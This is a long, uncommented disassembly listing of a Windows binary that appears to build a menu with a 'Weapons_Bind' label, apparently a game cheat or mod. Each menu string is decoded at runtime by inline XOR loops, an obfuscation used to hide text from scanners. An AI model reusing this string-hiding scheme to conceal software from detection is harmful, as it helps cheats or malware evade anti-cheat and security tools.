mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x740]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x14006b3b7
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006b3b7
lea rcx, str.Weapons_Bind
call fcn.140013150
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f828]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006b430
lea rdx, [rbp + 0x74]
mov byte [rbp + 3], 0
lea rcx, [rbp + 3]
call fcn.14006fcf0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006b40b
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006b430
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006b437
mov byte [0x14008ae2b], 0
jmp 0x14006b48c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006b48c
lea rdx, [rbp + 0x4e0]
mov byte [rbp + 4], 0
lea rcx, [rbp + 4]
call fcn.14006fd10
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14006b484
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov rcx, rax
call fcn.1400382d0
movss xmm0, dword [0x14007f868]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006b500
lea rdx, [rbp + 0xfc]
mov byte [rbp + 5], 0
lea rcx, [rbp + 5]
call fcn.14006fd40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006b4db
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006b500
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006b507
mov byte [0x14008ae2b], 0
jmp 0x14006b554
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006b554
lea rdx, [rbp + 0x3d0]
mov byte [rbp + 6], 0
lea rcx, [rbp + 6]
call fcn.14006fd60
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006b54c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x330]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x7c]
mov byte [rbp + 7], 0
lea rcx, [rbp + 7]
mov rbx, rax
call fcn.14006fd80
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006b5b6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008cae8]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x338]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x84]
mov byte [rbp + 8], 0
lea rcx, [rbp + 8]
mov rbx, rax
call fcn.14006fda0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006b621
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a324]
mov rcx, rax
call fcn.14003a280
call fcn.14003afa0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f828]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006b6b8
lea rdx, [rbp + 0x104]
mov byte [rbp + 9], 0
lea rcx, [rbp + 9]
call fcn.14006fdc0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006b693
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006b6b8
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006b6bf
mov byte [0x14008ae2b], 0
jmp 0x14006b700
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006b700
lea rdx, [rbp + 0x10c]
mov byte [rbp + 0xa], 0
lea rcx, [rbp + 0xa]
call fcn.14006fde0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006b6f8
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rcx, rax
call fcn.1400382d0
movss xmm0, dword [0x14007f854]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006b78b
lea rdx, [rbp + 0x4f0]
mov byte [rbp + 0xb], 0
lea rcx, [rbp + 0xb]
call fcn.14006fe00
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14006b763
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006b78b
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006b792
mov byte [0x14008ae2b], 0
jmp 0x14006b8ec
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006b8ec
lea rdx, [rbp + 0x5b0]
mov byte [rbp + 0xc], 0
lea rcx, [rbp + 0xc]
call fcn.14006fe30
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14006b8e4
xor r8d, r8d
cmp edi, 2
jl 0x14006b8a0
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14006b8b0
mov rcx, r10
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x340]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x8c]
mov byte [rbp + 0xd], 0
lea rcx, [rbp + 0xd]
mov rbx, rax
call fcn.14006fe60
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006b951
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a31c]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x348]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x94]
mov byte [rbp + 0xe], 0
lea rcx, [rbp + 0xe]
mov rbx, rax
call fcn.14006fe80
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006b9bc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a2ec]
mov rcx, rax
call fcn.14003a280
call fcn.14003afa0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f81c]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006ba62
lea rdx, [rbp + 0x3e0]
mov byte [rbp + 0xf], 0
lea rcx, [rbp + 0xf]
call fcn.14006fea0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006ba3a
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006ba62
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006ba69
mov byte [0x14008ae2b], 0
jmp 0x14006bbbc
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006bbbc
lea rdx, [rbp + 0x5c0]
mov byte [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.14006fec0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14006bbb4
xor r8d, r8d
cmp edi, 2
jl 0x14006bb77
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14006bb80
mov rcx, r10
call fcn.1400382d0
movss xmm0, dword [0x14007f858]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006bc43
lea rdx, [rbp + 0x470]
mov byte [rbp + 0x11], 0
lea rcx, [rbp + 0x11]
call fcn.14006fef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14006bc1b
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006bc43
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006bc4a
mov byte [0x14008ae2b], 0
jmp 0x14006bdcc
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006bdcc
lea rdx, [rbp + 0x1108]
mov byte [rbp + 0x12], 0
lea rcx, [rbp + 0x12]
call fcn.14006ff10
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14006bdc4
xor r8d, r8d
cmp edi, 2
jl 0x14006bd86
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006bc91
cmp r8d, 0x12
jge 0x14006bdc4
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14006bd90
mov rcx, r10
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x350]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x6c]
mov byte [rbp + 0x13], 0
lea rcx, [rbp + 0x13]
mov rbx, rax
call fcn.14006ff30
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006be2e
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a358]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x358]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0xac]
mov byte [rbp + 0x14], 0
lea rcx, [rbp + 0x14]
mov rbx, rax
call fcn.14006ff50
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006be99
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, str.ebqa
mov rcx, rax
call fcn.14003a280
call fcn.14003afa0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f820]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006bf2f
lea rdx, [rbp + 0x9c]
mov byte [rbp + 0x15], 0
lea rcx, [rbp + 0x15]
call fcn.14006ff70
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006bf07
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006bf2f
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006bf36
mov byte [0x14008ae2b], 0
jmp 0x14006c08c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006c08c
lea rdx, [rbp + 0x690]
mov byte [rbp + 0x16], 0
lea rcx, [rbp + 0x16]
call fcn.14006ff90
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14006c084
xor r8d, r8d
cmp edi, 2
jl 0x14006c044
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006c050
mov rcx, r10
call fcn.1400382d0
movss xmm0, dword [0x14007f864]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006c107
lea rdx, [rbp + 0x184]
mov byte [rbp + 0x17], 0
lea rcx, [rbp + 0x17]
call fcn.14006ffc0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14006c0df
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006c107
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006c10e
mov byte [0x14008ae2b], 0
jmp 0x14006c26c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006c26c
lea rdx, [rbp + 0x640]
mov byte [rbp + 0x18], 0
lea rcx, [rbp + 0x18]
call fcn.14006fff0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14006c264
xor r8d, r8d
cmp edi, 2
jl 0x14006c21c
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14006c230
mov rcx, r10
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x360]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0xa4]
mov byte [rbp + 0x19], 0
lea rcx, [rbp + 0x19]
mov rbx, rax
call fcn.140070020
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006c2d1
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a3e0]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x368]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0xb4]
mov byte [rbp + 0x1a], 0
lea rcx, [rbp + 0x1a]
mov rbx, rax
call fcn.140070040
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006c33c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a3dc]
mov rcx, rax
call fcn.14003a280
cmp byte [0x14008a0c8], 0
je 0x14006c4cc
lea rdx, [rbp + 0x650]
mov byte [rbp + 0x1b], 0
lea rcx, [rbp + 0x1b]
call fcn.140070060
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14006c4a4
xor r8d, r8d
cmp edi, 2
jl 0x14006c461
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14006c470
mov rcx, r10
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006c4cc
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006c4d3
mov byte [0x14008ae2b], 0
jmp 0x14006c62c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006c62c
lea rdx, [rbp + 0x5d0]
mov byte [rbp + 0x1c], 0
lea rcx, [rbp + 0x1c]
call fcn.140070090
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14006c624
xor r8d, r8d
cmp edi, 2
jl 0x14006c5e1
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14006c5f0
mov rcx, r10
call fcn.1400382d0
movss xmm0, dword [0x14007f864]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006c6a7
lea rdx, [rbp + 0x1ac]
mov byte [rbp + 0x1d], 0
lea rcx, [rbp + 0x1d]
call fcn.1400700c0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14006c67f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov rcx, rax
